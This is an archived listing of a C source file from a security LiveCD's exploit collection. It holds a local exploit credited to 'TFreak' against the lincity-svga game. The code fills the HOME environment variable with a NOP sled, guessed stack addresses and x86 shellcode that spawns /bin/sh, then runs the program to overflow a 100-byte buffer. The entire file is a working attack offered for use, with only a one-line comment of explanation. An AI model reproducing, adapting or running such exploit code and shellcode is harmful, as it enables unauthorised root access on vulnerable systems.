home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lincity.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  964b  |  50 lines

  1. /*
  2.  *  lincity-svga exploit by TFreak
  3.  *
  4.  * another  example   of  bad  programming,   copying  theHOME
  5.  * environment  without bounds  checking to  a static  size buffer
  6.  * (100 bytes)
  7.  *
  8.  */
  9.  
  10. #include <stdio.h>
  11.  
  12. #define bs 250
  13. #define of 300
  14.  
  15. unsigned long sp (void);
  16.  
  17. int main(int argc, char *argv[])
  18. {
  19.   char *p, *buf;
  20.   char shell[] =
  21.     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  22.     "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  23.     "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  24.   unsigned long addr, *paddr;
  25.   int i;
  26.  
  27.   buf = (char *) malloc(bs);
  28.   p = buf;
  29.   paddr = (unsigned long *) p;
  30.  
  31.   addr = sp() - of;
  32.  
  33.   for (i = 0; i < bs; i += 4)
  34.     *(paddr++) = addr;
  35.  
  36.   memset(p, 0x90, bs/2);
  37.   p += bs/2;
  38.  
  39.   for (i = 0; i < strlen(shell); i++)
  40.     *(p++) = shell[i];
  41.  
  42.   setenv("HOME", buf, 1);
  43.   execl("/usr/games/lincity", "lincity", NULL);
  44. }
  45.  
  46. unsigned long sp (void)
  47. {
  48.   __asm__("movl %esp, %eax");
  49. }
  50.